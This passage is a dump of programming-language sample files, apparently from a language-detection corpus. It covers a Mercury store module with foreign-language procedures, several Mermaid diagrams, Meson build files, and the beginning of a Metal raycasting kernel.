garbage collected\n% but shareable between processes\n\n:- pragma foreign_type(\"Erlang\", generic_mutvar(T, S), \"\").\n\n:- pragma foreign_proc(\"Erlang\",\n    new_mutvar(Val::in, Mutvar::out, S0::di, S::uo),\n    [will_not_call_mercury, promise_pure],\n\"\n    Mutvar = ets:new(mutvar, [set, public]),\n    ets:insert(Mutvar, {value, Val}),\n    S = S0\n\").\n\n:- pragma foreign_proc(\"Erlang\",\n    get_mutvar(Mutvar::in, Val::out, S0::di, S::uo),\n    [will_not_call_mercury, promise_pure],\n\"\n    [{value, Val}] = ets:lookup(Mutvar, value),\n    S = S0\n\").\n\n:- pragma foreign_proc(\"Erlang\",\n    set_mutvar(Mutvar::in, Val::in, S0::di, S::uo),\n    [will_not_call_mercury, promise_pure],\n\"\n    ets:insert(Mutvar, {value, Val}),\n    S = S0\n\").\n\ncopy_mutvar(Mutvar, Copy, !S) :-\n    get_mutvar(Mutvar, Value, !S),\n    new_mutvar(Value, Copy, !S).\n\n:- pred store.unsafe_new_uninitialized_mutvar(generic_mutvar(T, S)::out,\n    S::di, S::uo) is det <= store(S).\n\n:- pragma foreign_proc(\"C\",\n    unsafe_new_uninitialized_mutvar(Mutvar::out, S0::di, S::uo),\n    [will_not_call_mercury, promise_pure, will_not_modify_trail],\n\"\n    MR_offset_incr_hp_msg(Mutvar, MR_SIZE_SLOT_SIZE, MR_SIZE_SLOT_SIZE + 1,\n        MR_ALLOC_ID, \"\"store.mutvar/2\"\");\n    MR_define_size_slot(0, Mutvar, 1);\n    S = S0;\n\").\n\n:- pragma foreign_proc(\"C#\",\n    unsafe_new_uninitialized_mutvar(Mutvar::out, _S0::di, _S::uo),\n    [will_not_call_mercury, promise_pure],\n\"\n    Mutvar = new object[1];\n\").\n\n:- pragma foreign_proc(\"Java\",\n    unsafe_new_uninitialized_mutvar(Mutvar::out, _S0::di, _S::uo),\n    [will_not_call_mercury, promise_pure],\n\"\n    Mutvar = new mutvar.Mutvar();\n\").\n\nstore.new_cyclic_mutvar(Func, MutVar, !Store) :-\n    store.unsafe_new_uninitialized_mutvar(MutVar, !Store),\n    Value = apply(Func, MutVar),\n    store.set_mutvar(MutVar, Value, !Store).\n\n%-----------------------------------------------------------------------------%\n\n:- pragma foreign_type(\"C#\", generic_ref(T, S), \"store.Ref\").\n:- pragma foreign_code(\"C#\",\n\"\n    public class Ref {\n        // Object referenced.\n        public object   obj;\n\n        // Specific field of object referenced, or null to\n        // specify the object itself.\n        // XXX GetFields does not return fields in any particular order so\n        // this is not really usable.\n        public System.Reflection.FieldInfo  field;\n\n        // Constructors\n        public Ref(object init) {\n            obj     = init;\n            field   = null;\n        }\n        public Ref(object init, int num) {\n            obj = init;\n            setField(num);\n        }\n\n        // Set the field according to a given index.\n        public void setField(int num) {\n            field = obj.GetType().GetFields()[num];\n        }\n\n        // Return the value of the reference.\n        public object getValue() {\n            if (field == null) {\n                return obj;\n            } else {\n                return field.GetValue(obj);\n            }\n        }\n\n        // Update the value of the reference.\n        public void setValue(object value) {\n            field.SetValue(obj, value);\n        }\n    } // class Ref\n\").\n\n:- pragma foreign_type(java, generic_ref(T, S), \"store.Ref\").\n:- pragma foreign_code(\"Java\",\n\"\n    public static class Ref {\n        // Object referenced.\n        public java.lang.Object         object;\n\n        // Specific field of object referenced, or null to\n        // specify the object itself.\n        // XXX getDeclaredFields does not return fields in any particular\n        // order so this is not really usable.\n        public java.lang.reflect.Field  field;\n\n        // Constructors\n        public Ref(java.lang.Object init) {\n            object  = init;\n            field   = null;\n        }\n        public Ref(java.lang.Object init, int num) {\n            object  = init;\n            setField(num);\n        }\n\n        // Set the field according to a given index.\n        public void setField(int num) {\n            try {\n                field = object.getClass().getDeclaredFields()[num];\n            } catch (java.lang.SecurityException se) {\n                throw new java.lang.RuntimeException(\n                    \"\"Security manager denied access to object fields\"\");\n            } catch (java.lang.ArrayIndexOutOfBoundsException e) {\n                throw new java.lang.RuntimeException(\n                    \"\"No such field in object\"\");\n            } catch (java.lang.Exception e) {\n                throw new java.lang.RuntimeException(\n                    \"\"Unable to set field: \"\" + e.getMessage());\n            }\n        }\n\n        // Return the value of the reference.\n        public java.lang.Object getValue() {\n            if (field == null) {\n                return object;\n            } else {\n                try {\n                    return field.get(object);\n                } catch (java.lang.IllegalAccessException e) {\n                    throw new java.lang.RuntimeException(\n                        \"\"Field inaccessible\"\");\n                } catch (java.lang.IllegalArgumentException e)\n                {\n                    throw new java.lang.RuntimeException(\n                        \"\"Field-object mismatch\"\");\n                } catch (java.lang.NullPointerException e) {\n                    throw new java.lang.RuntimeException(\n                        \"\"Object is null\"\");\n                } catch (java.lang.Exception e) {\n                    throw new java.lang.RuntimeException(\n                        \"\"Unable to access field: \"\" + e.getMessage());\n                }\n            }\n        }\n\n        // Update the value of the reference.\n        public void setValue(java.lang.Object value) {\n            try {\n                field.set(object, value);\n            } catch (java.lang.IllegalAccessException e) {\n                throw new java.lang.RuntimeException(\"\"Field inaccessible\"\");\n            } catch (java.lang.IllegalArgumentException e) {\n                throw new java.lang.RuntimeException(\n                    \"\"Field-object mismatch\"\");\n            } catch (java.lang.NullPointerException e) {\n                throw new java.lang.RuntimeException(\"\"Object is null\"\");\n            } catch (java.lang.Exception e) {\n                throw new java.lang.RuntimeException(\n                        \"\"Unable to access field: \"\" + e.getMessage());\n            }\n        }\n    } // class Ref\n\").\n\n:- pragma foreign_proc(\"C\",\n    new_ref(Val::di, Ref::out, S0::di, S::uo),\n    [will_not_call_mercury, promise_pure, will_not_modify_trail],\n\"\n    MR_offset_incr_hp_msg(Ref, MR_SIZE_SLOT_SIZE, MR_SIZE_SLOT_SIZE + 1,\n        MR_ALLOC_ID, \"\"store.ref/2\"\");\n    MR_define_size_slot(0, Ref, 1);\n    * (MR_Word *) Ref = Val;\n    S = S0;\n\").\n\n:- pragma foreign_proc(\"C#\",\n    new_ref(Val::di, Ref::out, _S0::di, _S::uo),\n    [will_not_call_mercury, promise_pure],\n\"\n    Ref = new store.Ref(Val);\n\").\n\n:- pragma foreign_proc(\"Java\",\n    new_ref(Val::di, Ref::out, _S0::di, _S::uo),\n    [will_not_call_mercury, promise_pure],\n\"\n    Ref = new store.Ref(Val);\n\").\n\n:- pragma foreign_proc(\"Erlang\",\n    new_ref(Val::di, Ref::out, S0::di, S::uo),\n    [will_not_call_mercury, promise_pure],\n\"\n    Ref = ets:new(mutvar, [set, public]),\n    ets:insert(Ref, {value, Val}),\n    S = S0\n\").\n\ncopy_ref_value(Ref, Val) -->\n    % XXX Need to deep-copy non-atomic types.\n    unsafe_ref_value(Ref, Val).\n\n    % Unsafe_ref_value extracts the value that a reference refers to, without\n    % making a copy; it is unsafe because the store could later be modified,\n    % changing the returned value.\n    %\n:- pred store.unsafe_ref_value(generic_ref(T, S)::in, T::uo,\n    S::di, S::uo) is det <= store(S).\n\n:- pragma foreign_proc(\"C\",\n    unsafe_ref_value(Ref::in, Val::uo, S0::di, S::uo),\n    [will_not_call_mercury, promise_pure, will_not_modify_trail],\n\"\n    Val = * (MR_Word *) Ref;\n    S = S0;\n\").\n\n:- pragma foreign_proc(\"C#\",\n    unsafe_ref_value(Ref::in, Val::uo, _S0::di, _S::uo),\n    [will_not_call_mercury, promise_pure],\n\"\n    Val = Ref.getValue();\n\").\n\n:- pragma foreign_proc(\"Java\",\n    unsafe_ref_value(Ref::in, Val::uo, _S0::di, _S::uo),\n    [will_not_call_mercury, promise_pure],\n\"\n    Val = Ref.getValue();\n\").\n\n:- pragma foreign_proc(\"Erlang\",\n    unsafe_ref_value(Ref::in, Val::uo, S0::di, S::uo),\n    [will_not_call_mercury, promise_pure],\n\"\n    [{value, Val}] = ets:lookup(Ref, value),\n    S = S0\n\").\n\nref_functor(Ref, Functor, Arity, !Store) :-\n    unsafe_ref_value(Ref, Val, !Store),\n    functor(Val, canonicalize, Functor, Arity).\n\n:- pragma foreign_decl(\"C\",\n\"\n    #include \"\"mercury_type_info.h\"\"\n    #include \"\"mercury_heap.h\"\"\n    #include \"\"mercury_misc.h\"\"         /* for MR_fatal_error() */\n    #include \"\"mercury_deconstruct.h\"\"  /* for MR_arg() */\n\").\n\n:- pragma foreign_proc(\"C\",\n    arg_ref(Ref::in, ArgNum::in, ArgRef::out, S0::di, S::uo),\n    [will_not_call_mercury, promise_pure, may_not_duplicate],\n\"{\n    MR_TypeInfo         type_info;\n    MR_TypeInfo         arg_type_info;\n    MR_TypeInfo         exp_arg_type_info;\n    MR_Word             *arg_ref;\n    const MR_DuArgLocn  *arg_locn;\n\n    type_info = (MR_TypeInfo) TypeInfo_for_T;\n    exp_arg_type_info = (MR_TypeInfo) TypeInfo_for_ArgT;\n\n    MR_save_transient_registers();\n\n    if (!MR_arg(type_info, (MR_Word *) Ref, ArgNum, &arg_type_info,\n        &arg_ref, &arg_locn, MR_NONCANON_ABORT))\n    {\n        MR_fatal_error(\"\"store.arg_ref: argument number out of range\"\");\n    }\n\n    if (MR_compare_type_info(arg_type_info, exp_arg_type_info) !=\n        MR_COMPARE_EQUAL)\n    {\n        MR_fatal_error(\"\"store.arg_ref: argument has wrong type\"\");\n    }\n\n    MR_restore_transient_registers();\n\n    if (arg_locn != NULL && arg_locn->MR_arg_bits != 0) {\n        MR_offset_incr_hp_msg(ArgRef, MR_SIZE_SLOT_SIZE,\n            MR_SIZE_SLOT_SIZE + 1, MR_ALLOC_ID, \"\"store.ref/2\"\");\n        MR_define_size_slot(0, ArgRef, 1);\n        * (MR_Word *) ArgRef = MR_arg_value(arg_ref, arg_locn);\n    } else {\n        ArgRef = (MR_Word) arg_ref;\n    }\n    S = S0;\n}\").\n\n:- pragma foreign_proc(\"C#\",\n    arg_ref(Ref::in, ArgNum::in, ArgRef::out, _S0::di, _S::uo),\n    [will_not_call_mercury, promise_pure],\n\"\n    /*\n    ** XXX Some dynamic type-checking should be done here to check that\n    ** the type of the specified Arg matches the type supplied by the caller.\n    ** This will require RTTI.\n    */\n\n    ArgRef = new store.Ref(Ref.getValue(), ArgNum);\n\").\n\n:- pragma foreign_proc(\"Java\",\n    arg_ref(Ref::in, ArgNum::in, ArgRef::out, _S0::di, _S::uo),\n    [will_not_call_mercury, promise_pure],\n\"\n    /*\n    ** XXX Some dynamic type-checking should be done here to check that\n    ** the type of the specified Arg matches the type supplied by the caller.\n    ** This will require RTTI.\n    */\n\n    ArgRef = new store.Ref(Ref.getValue(), ArgNum);\n\").\n\n:- pragma foreign_proc(\"C\",\n    new_arg_ref(Val::di, ArgNum::in, ArgRef::out, S0::di, S::uo),\n    [will_not_call_mercury, promise_pure, may_not_duplicate],\n\"{\n    MR_TypeInfo         type_info;\n    MR_TypeInfo         arg_type_info;\n    MR_TypeInfo         exp_arg_type_info;\n    MR_Word             *arg_ref;\n    const MR_DuArgLocn  *arg_locn;\n\n    type_info = (MR_TypeInfo) TypeInfo_for_T;\n    exp_arg_type_info = (MR_TypeInfo) TypeInfo_for_ArgT;\n\n    MR_save_transient_registers();\n\n    if (!MR_arg(type_info, (MR_Word *) &Val, ArgNum, &arg_type_info,\n        &arg_ref, &arg_locn, MR_NONCANON_ABORT))\n    {\n        MR_fatal_error(\"\"store.new_arg_ref: argument number out of range\"\");\n    }\n\n    if (MR_compare_type_info(arg_type_info, exp_arg_type_info) !=\n        MR_COMPARE_EQUAL)\n    {\n        MR_fatal_error(\"\"store.new_arg_ref: argument has wrong type\"\");\n    }\n\n    MR_restore_transient_registers();\n\n    if (arg_locn != NULL && arg_locn->MR_arg_bits != 0) {\n        MR_offset_incr_hp_msg(ArgRef, MR_SIZE_SLOT_SIZE,\n            MR_SIZE_SLOT_SIZE + 1, MR_ALLOC_ID, \"\"store.ref/2\"\");\n        MR_define_size_slot(0, ArgRef, 1);\n        * (MR_Word *) ArgRef = MR_arg_value(arg_ref, arg_locn);\n    } else if (arg_ref == &Val) {\n        /*\n        ** For no_tag types, the argument may have the same address as the\n        ** term.  Since the term (Val) is currently on the C stack, we can't\n        ** return a pointer to it; so if that is the case, then we need\n        ** to copy it to the heap before returning.\n        */\n\n        MR_offset_incr_hp_msg(ArgRef, MR_SIZE_SLOT_SIZE,\n            MR_SIZE_SLOT_SIZE + 1, MR_ALLOC_ID, \"\"store.ref/2\"\");\n        MR_define_size_slot(0, ArgRef, 1);\n        * (MR_Word *) ArgRef = Val;\n    } else {\n        ArgRef = (MR_Word) arg_ref;\n    }\n    S = S0;\n}\").\n\n:- pragma foreign_proc(\"C#\",\n    new_arg_ref(Val::di, ArgNum::in, ArgRef::out, _S0::di, _S::uo),\n    [will_not_call_mercury, promise_pure],\n\"\n    /*\n    ** XXX Some dynamic type-checking should be done here to check that\n    ** the type of the specified Arg matches the type supplied by the caller.\n    ** This will require RTTI.\n    */\n\n    ArgRef = new store.Ref(Val, ArgNum);\n\").\n\n:- pragma foreign_proc(\"Java\",\n    new_arg_ref(Val::di, ArgNum::in, ArgRef::out, _S0::di, _S::uo),\n    [will_not_call_mercury, promise_pure],\n\"\n    /*\n    ** XXX Some dynamic type-checking should be done here to check that\n    ** the type of the specified Arg matches the type supplied by the caller.\n    ** This will require RTTI.\n    */\n\n    ArgRef = new store.Ref(Val, ArgNum);\n\").\n\n:- pragma foreign_proc(\"C\",\n    set_ref(Ref::in, ValRef::in, S0::di, S::uo),\n    [will_not_call_mercury, promise_pure],\n\"\n    * (MR_Word *) Ref = * (MR_Word *) ValRef;\n    S = S0;\n\").\n\n:- pragma foreign_proc(\"C#\",\n    set_ref(Ref::in, ValRef::in, _S0::di, _S::uo),\n    [will_not_call_mercury, promise_pure],\n\"\n    Ref.setValue(ValRef.getValue());\n\").\n\n:- pragma foreign_proc(\"Java\",\n    set_ref(Ref::in, ValRef::in, _S0::di, _S::uo),\n    [will_not_call_mercury, promise_pure],\n\"\n    Ref.setValue(ValRef.getValue());\n\").\n\n:- pragma foreign_proc(\"C\",\n    set_ref_value(Ref::in, Val::di, S0::di, S::uo),\n    [will_not_call_mercury, promise_pure],\n\"\n    * (MR_Word *) Ref = Val;\n    S = S0;\n\").\n\n:- pragma foreign_proc(\"Java\",\n    set_ref_value(Ref::in, Val::di, _S0::di, _S::uo),\n    [will_not_call_mercury, promise_pure],\n\"\n    Ref.setValue(Val);\n\").\n\n:- pragma foreign_proc(\"C\",\n    extract_ref_value(_S::di, Ref::in, Val::out),\n    [will_not_call_mercury, promise_pure],\n\"\n    Val = * (MR_Word *) Ref;\n\").\n\n:- pragma foreign_proc(\"C#\",\n    extract_ref_value(_S::di, Ref::in, Val::out),\n    [will_not_call_mercury, promise_pure],\n\"\n    Val = Ref.getValue();\n\").\n\n:- pragma foreign_proc(\"Java\",\n    extract_ref_value(_S::di, Ref::in, Val::out),\n    [will_not_call_mercury, promise_pure],\n\"\n    Val = Ref.getValue();\n\").\n\n%-----------------------------------------------------------------------------%\n\n:- pragma foreign_proc(\"C\",\n    unsafe_arg_ref(Ref::in, Arg::in, ArgRef::out, S0::di, S::uo),\n    [will_not_call_mercury, promise_pure],\n\"{\n    /* unsafe - does not check type & arity, won't handle no_tag types */\n    MR_Word *Ptr;\n\n    Ptr = (MR_Word *) MR_strip_tag((MR_Word) Ref);\n    ArgRef = (MR_Word) &Ptr[Arg];\n    S = S0;\n}\").\n\n:- pragma foreign_proc(\"C#\",\n    unsafe_arg_ref(Ref::in, Arg::in, ArgRef::out, _S0::di, _S::uo),\n    [will_not_call_mercury, promise_pure],\n\"\n    ArgRef = new store.Ref(Ref.getValue(), Arg);\n\").\n\n:- pragma foreign_proc(\"Java\",\n    unsafe_arg_ref(Ref::in, Arg::in, ArgRef::out, _S0::di, _S::uo),\n    [will_not_call_mercury, promise_pure],\n\"\n    ArgRef = new store.Ref(Ref.getValue(), Arg);\n\").\n\n:- pragma foreign_proc(\"C\",\n    unsafe_new_arg_ref(Val::di, Arg::in, ArgRef::out, S0::di, S::uo),\n    [will_not_call_mercury, promise_pure],\n\"{\n    /* unsafe - does not check type & arity, won't handle no_tag types */\n    MR_Word *Ptr;\n\n    Ptr = (MR_Word *) MR_strip_tag((MR_Word) Val);\n    ArgRef = (MR_Word) &Ptr[Arg];\n    S = S0;\n}\").\n\n:- pragma foreign_proc(\"C#\",\n    unsafe_new_arg_ref(Val::di, Arg::in, ArgRef::out, _S0::di, _S::uo),\n    [will_not_call_mercury, promise_pure],\n\"\n    ArgRef = new store.Ref(Val, Arg);\n\").\n\n:- pragma foreign_proc(\"Java\",\n    unsafe_new_arg_ref(Val::di, Arg::in, ArgRef::out, _S0::di, _S::uo),\n    [will_not_call_mercury, promise_pure],\n\"\n    ArgRef = new store.Ref(Val, Arg);\n\").\n"
  },
  {
    "path": "samples/Mermaid/c4c-diagram.mermaid",
    "content": "C4Context\n\ttitle System Context diagram for Internet Banking System\n\tEnterprise_Boundary(b0, \"BankBoundary0\") {\n\t\tPerson(customerA, \"Banking Customer A\", \"A customer of the bank, with personal bank accounts.\")\n\t\tPerson(customerB, \"Banking Customer B\")\n\t\tPerson_Ext(customerC, \"Banking Customer C\", \"desc\")\n\n\t\tPerson(customerD, \"Banking Customer D\", \"A customer of the bank, <br/> with personal bank accounts.\")\n\n\t\tSystem(SystemAA, \"Internet Banking System\", \"Allows customers to view information about their bank accounts, and make payments.\")\n\n\t\tEnterprise_Boundary(b1, \"BankBoundary\") {\n\n\t\t\tSystemDb_Ext(SystemE, \"Mainframe Banking System\", \"Stores all of the core banking information about customers, accounts, transactions, etc.\")\n\n\t\t\tSystem_Boundary(b2, \"BankBoundary2\") {\n\t\t\t\tSystem(SystemA, \"Banking System A\")\n\t\t\t\tSystem(SystemB, \"Banking System B\", \"A system of the bank, with personal bank accounts. next line.\")\n\t\t\t}\n\n\t\t\tSystem_Ext(SystemC, \"E-mail system\", \"The internal Microsoft Exchange e-mail system.\")\n\t\t\tSystemDb(SystemD, \"Banking System D Database\", \"A system of the bank, with personal bank accounts.\")\n\n\t\t\tBoundary(b3, \"BankBoundary3\", \"boundary\") {\n\t\t\t\tSystemQueue(SystemF, \"Banking System F Queue\", \"A system of the bank.\")\n\t\t\t\tSystemQueue_Ext(SystemG, \"Banking System G Queue\", \"A system of the bank, with personal bank accounts.\")\n\t\t\t}\n\t\t}\n\t}\n\n\tBiRel(customerA, SystemAA, \"Uses\")\n\tBiRel(SystemAA, SystemE, \"Uses\")\n\tRel(SystemAA, SystemC, \"Sends e-mails\", \"SMTP\")\n\tRel(SystemC, customerA, \"Sends e-mails to\")\n\n\tUpdateElementStyle(customerA, $fontColor=\"red\", $bgColor=\"grey\", $borderColor=\"red\")\n\tUpdateRelStyle(customerA, SystemAA, $textColor=\"blue\", $lineColor=\"blue\", $offsetX=\"5\")\n\tUpdateRelStyle(SystemAA, SystemE, $textColor=\"blue\", $lineColor=\"blue\", $offsetY=\"-10\")\n\tUpdateRelStyle(SystemAA, SystemC, $textColor=\"blue\", $lineColor=\"blue\", $offsetY=\"-40\", $offsetX=\"-50\")\n\tUpdateRelStyle(SystemC, customerA, $textColor=\"red\", $lineColor=\"red\", $offsetX=\"-50\", $offsetY=\"20\")\n\n\tUpdateLayoutConfig($c4ShapeInRow=\"3\", $c4BoundaryInRow=\"1\")\n"
  },
  {
    "path": "samples/Mermaid/flowchart.mmd",
    "content": "flowchart LR\n\tA[Hard edge] -->|Link text| B(Round edge)\n\tB --> C{Decision}\n\tC -->|One| D[Result one]\n\tC -->|Two| E[Result two]\n"
  },
  {
    "path": "samples/Mermaid/gantt.mmd",
    "content": "gantt\n\tdateFormat  YYYY-MM-DD %% Comment\n\ttitle       Adding Gantt diagram functionality to Mermaid\n\t\n\t%% `excludes` accepts specific dates in YYYY-MM-DD format, days of\n\t%% the week (\"sunday\") or \"weekends\", but not the word \"weekdays\".\n\texcludes    weekends\n\n\ttodayMarker stroke-width:5px,stroke:#0f0,opacity:0.5\n\ttodayMarker off\n\tinclusiveEndDates\n\ttopAxis\n\t\n\tsection A section\n\tCompleted task            :done,    des1, 2014-01-06,2014-01-08\n\tActive task               :active,  des2, 2014-01-09, 3d\n\tFuture task               :         des3, after des2, 5d\n\tFuture task2              :         des4, after des3, 5d\n\n\tsection Critical tasks\n\tCompleted task in the critical line :crit, done, 2014-01-06,24h\n\tImplement parser and jison          :crit, done, after des1, 2d\n\tCreate tests for parser             :crit, active, 3d\n\tFuture task in critical line        :crit, 5d\n\tCreate tests for renderer           :2d\n\tAdd to mermaid                      :1d\n\tFunctionality added                 :milestone, 2014-01-25, 0d\n\n\tsection Documentation\n\tDescribe Gantt syntax               :active, a1, after des1, 3d\n\tAdd gantt diagram to demo page      :after a1  , 20h\n\tAdd another diagram to demo page    :doc1, after a1  , 48h\n\n\tsection Last section\n\tDescribe Gantt syntax               :after doc1, 3d\n\tAdd gantt diagram to demo page      :20h\n\tAdd another diagram to demo page    :48h\n"
  },
  {
    "path": "samples/Mermaid/gitgraph.mmd",
    "content": "%%{init: { 'logLevel': 'debug', 'theme': 'default' , 'themeVariables': {\n\t'tagLabelColor': '#ff0000',\n\t'tagLabelBackground': '#00ff00',\n\t'tagLabelBorder': '#0000ff'\n}}}%%\ngitGraph\n\tcommit\n\tbranch develop\n\tcommit tag:\"v1.0.0\"\n\tcommit\n\tcheckout main\n\tcommit type: HIGHLIGHT\n\tcommit\n\tmerge develop\n\tcommit\n\tbranch featureA\n\tcommit\n"
  },
  {
    "path": "samples/Mermaid/pie-chart.mermaid",
    "content": "pie showData\n\ttitle Alhadis's ancestry composition, according to 23andme.com\n\n\t%% NB: Values are expressed as percentages\n\t\"British & Irish\" : 44.8\n\t\"French & German\" : 7.3\n\t\"Scandinavian\" : 1.8\n\t\"Broadly Northwestern European\" : 12.5\n\t\"Eastern European\" : 16.2\n\t\"Greek & Balkan\": 8.0\n\t\"Italian\" : 2.0\n\t\"Broadly Southern European\": 2.2\n\t\"Broadly European\": 5.2\n"
  },
  {
    "path": "samples/Mermaid/requirement-diagram.mermaid",
    "content": "requirementDiagram\n\t%% Obligatory comment\n\n\trequirement test_req {\n\t\t%% Comment\n\t\tid: 1\n\t\ttext: the test text.\n\t\trisk: high\n\t\tverifymethod: test\n\t}\n\n\tfunctionalRequirement test_req2 {\n\t\tid: 1.1\n\t\ttext: the second test text.\n\t\trisk: low\n\t\tverifymethod: inspection\n\t}\n\n\tperformanceRequirement test_req3 {\n\t\tid: 1.2\n\t\ttext: the third test text.\n\t\trisk: medium\n\t\tverifymethod: demonstration\n\t}\n\n\tinterfaceRequirement test_req4 {\n\t\tid: 1.2.1\n\t\ttext: the fourth test text.\n\t\trisk: medium\n\t\tverifymethod: analysis\n\t}\n\n\tphysicalRequirement test_req5 {\n\t\tid: 1.2.2\n\t\ttext: the fifth test text.\n\t\trisk: medium\n\t\tverifyMethod: analysis\n\t}\n\n\tdesignConstraint test_req6 {\n\t\tid: 1.2.3\n\t\ttext: the sixth test text.\n\t\trisk: medium\n\t\tverifymethod: analysis\n\t}\n\n\telement test_entity {\n\t\t%% Another comment\n\t\ttype: simulation\n\t}\n\n\telement test_entity2 {\n\t\ttype: word doc\n\t\tdocRef: reqs/test_entity\n\t}\n\n\telement test_entity3 {\n\t\ttype: \"test suite\"\n\t\tdocRef: github.com/all_the_tests\n\t}\n\n\n\ttest_entity - satisfies -> test_req2\n\ttest_req - traces -> test_req2\n\ttest_req - contains -> test_req3\n\ttest_req3 - contains -> test_req4\n\ttest_req4 - derives -> test_req5\n\ttest_req5 - refines -> test_req6\n\ttest_entity3 - verifies -> test_req5\n\ttest_req <- copies - test_entity2\n\tnot - traumatises -> valid\n"
  },
  {
    "path": "samples/Mermaid/state-diagram.mmd",
    "content": "stateDiagram-v2\n\tdirection LR\n\t[*] --> Active\n\n\tstate Active {\n\t\t[*] --> NumLockOff\n\t\tNumLockOff --> NumLockOn : EvNumLockPressed\n\t\tNumLockOn --> NumLockOff : EvNumLockPressed\n\t\t--\n\t\t[*] --> CapsLockOff\n\t\tCapsLockOff --> CapsLockOn : EvCapsLockPressed\n\t\tCapsLockOn --> CapsLockOff : EvCapsLockPressed\n\t\t--\n\t\t[*] --> ScrollLockOff\n\t\tScrollLockOff --> ScrollLockOn : EvScrollLockPressed\n\t\tScrollLockOn --> ScrollLockOff : EvScrollLockPressed\n\t}\n"
  },
  {
    "path": "samples/Mermaid/user-journey.mmd",
    "content": "journey\n\ttitle My working day\n\tsection Go to work\n\t\tMake tea: 5: Me\n\t\tGo upstairs: 3: Me\n\t\tDo work: 1: Me, Cat\n\tsection Go home\n\t\tGo downstairs: 5: Me\n\t\tSit down: 5: Me\n"
  },
  {
    "path": "samples/Meson/filenames/meson.build",
    "content": "project('test', ['c'],\n  version: '0.1.0'\n)\n\n# This is a comment test('foo')\n\nadd_global_arguments(['-foo'])\nadd_global_link_arguments(['-foo'])\n\ngnome = import('gnome') # As is this\n\ngnome.do_something('test')\n\nmeson.source_root()\n\nforeach foo: bar\n  foreach baz : foo\n    message(baz)\n  endforeach\nendforeach\n\nblah = '''\nafjoakjflajf  # Test\nlflkasjf\ntest\\'test\ntest\\\\\\\\test\ntest\\ntest\n'''\n\nfoo = ''\nfoo = ''''''\nfoo = 'string'\nfoo = '''string2'''\nfoo = 12314\nfoo = 1231.1231\nfoo = true\nfoo = false\nfoo = ['te\\'st', 1, 3.3, '''test''']\nfoo += 1231\nfoo = '@0@'.format('test')\nfoo = include_directories('foo', kwarg: 'bar', include_directories: 'foo')\nfoo = true ? 'true' : 'false'\nfoo = 2 - 1 + 3 % 8 / 4 * 3\n\nif true and false\nelif false or true\nelif true not false\nelif foo == 12\nelif (foo != 124) and (foo <= 200)\nelse\nendif\n"
  },
  {
    "path": "samples/Meson/filenames/meson_options.txt",
    "content": "option('with-something', type: 'boolean',\n  value: true,\n)"
  },
  {
    "path": "samples/Metal/ITMVisualisationEngine.metal",
    "content": "// Copyright 2014 Isis Innovation Limited and the authors of InfiniTAM\n\n#include <metal_stdlib>\n\n#include \"../../DeviceAgnostic/ITMSceneReconstructionEngine.h\"\n#include \"../../DeviceAgnostic/ITMVisualisationEngine.h\"\n#include \"ITMVisualisationEngine_Metal.h\"\n\nusing namespace metal;\n\nkernel void genericRaycastVH_device(DEVICEPTR(Vector4f) *pointsRay                                  [[ buffer(0) ]],\n                                    const CONSTPTR(ITMVoxel) *voxelData                             [[ buffer(1) ]],\n                                    const CONSTPTR(typename ITMVoxelIndex::IndexData) *voxelIndex   [[ buffer(2) ]],\n                                    const CONSTPTR(Vector2f) *minmaxdata                            [[ buffer(3) ]],\n                                    const CONSTPTR(CreateICPMaps_Params) *params                    [[ buffer(4) ]],\n                                    uint2 threadIdx                                                 [[ thread_position_in_threadgroup ]],\n                                    uint2 blockIdx                                                  [[ threadgroup_position_in_grid ]],\n                                    uint2 blockDim                                                  [[ threads_per_threadgroup ]])\n{\n    int x = threadIdx.x + blockIdx.x * blockDim.x, y = threadIdx.y + blockIdx.y * blockDim.y;\n    \n    if (x >= params->imgSize.x || y >= params->imgSize.y) return;\n    \n    int locId = x + y * params->imgSize.x;\n    int locId2 = (int)floor((float)x / minmaximg_subsample) + (int)floor((float)y / minmaximg_subsample) * params->imgSize.x;\n    \n    castRay<ITMVoxel, ITMVoxelIndex>(pointsRay[locId], x, y, voxelData, voxelIndex, params->invM, params->invProjParams,\n                                     params->voxelSizes.y, params->lightSource.w, minmaxdata[locId2]);\n}\n\nkernel void genericRaycastVGMissingPoints_device(DEVICEPTR(Vector4f) *forwardProjection                         [[ buffer(0) ]],\n                                                 const CONSTPTR(int) *fwdProjMissingPoints                      [[ buffer(1) ]],\n                                                 const CONSTPTR(ITMVoxel) *voxelData                            [[ buffer(2) ]],\n                                                 const CONSTPTR(typename ITMVoxelIndex::IndexData) *voxelIndex  [[ buffer(3) ]],\n                                                 const CONSTPTR(Vector2f) *minmaxdata                           [[ buffer(4) ]],\n                                                 const CONSTPTR(CreateICPMaps_Params) *params                   [[ buffer(5) ]],\n                                                 uint2 threadIdx                                                [[ thread_position_in_threadgroup ]],\n                                                 uint2 blockIdx                                                 [[ threadgroup_position_in_grid ]],\n                                                 uint2 blockDim                                                 [[ threads_per_threadgroup ]])\n{\n    int pointId = threadIdx.x + blockIdx.x * blockDim.x;\n    \n    if (pointId >= params->imgSize.z) return;\n    \n    int locId = fwdProjMissingPoints[pointId];\n    int y = locId / params->imgSize.x, x = locId - y * params->imgSize.x;\n    int locId2 = (int)floor((float)x / minmaximg_subsample) + (int)floor((float)y / minmaximg_subsample) * params->imgSize.x;\n    \n    castRay<ITMVoxel, ITMVoxelIndex>(forwardProjection[locId], x, y, voxelData, voxelIndex, params->invM, params->invProjParams,\n                                     params->voxelSizes.y, params->lightSource.w, minmaxdata[locId2]);\n}\n\nkernel void renderICP_device(const CONSTPTR(Vector4f) *pointsRay            [[ buffer(0) ]],\n                             DEVICEPTR(Vector4f) *pointsMap                 [[ buffer(1) ]],\n                             DEVICEPTR(Vector4f) *normalsMap                [[ buffer(2) ]],\n                             DEVICEPTR(Vector4u) *outRendering              [[ buffer(3) ]],\n                             const CONSTPTR(CreateICPMaps_Params) *params   [[ buffer(4) ]],\n                             uint2 threadIdx                                [[ thread_position_in_threadgroup ]],\n                             uint2 blockIdx                                 [[ threadgroup_position_in_grid ]],\n                             uint2 blockDim                                 [[ threads_per_threadgroup ]])\n{\n    int x = threadIdx.x + blockIdx.x * blockDim.x, y = threadIdx.y + blockIdx.y * blockDim.y;\n    \n    if (x >= params->imgSize.x || y >= params->imgSize.y) return;\n    \n    processPixelICP<false>(outRendering, pointsMap, normalsMap, pointsRay, params->imgSize.xy, x, y, params->voxelSizes.x, TO_VECTOR3(params->lightSource));\n}\n\nkernel void renderForward_device(DEVICEPTR(Vector4u) *outRendering              [[ buffer(0) ]],\n                                 const CONSTPTR(Vector4f) 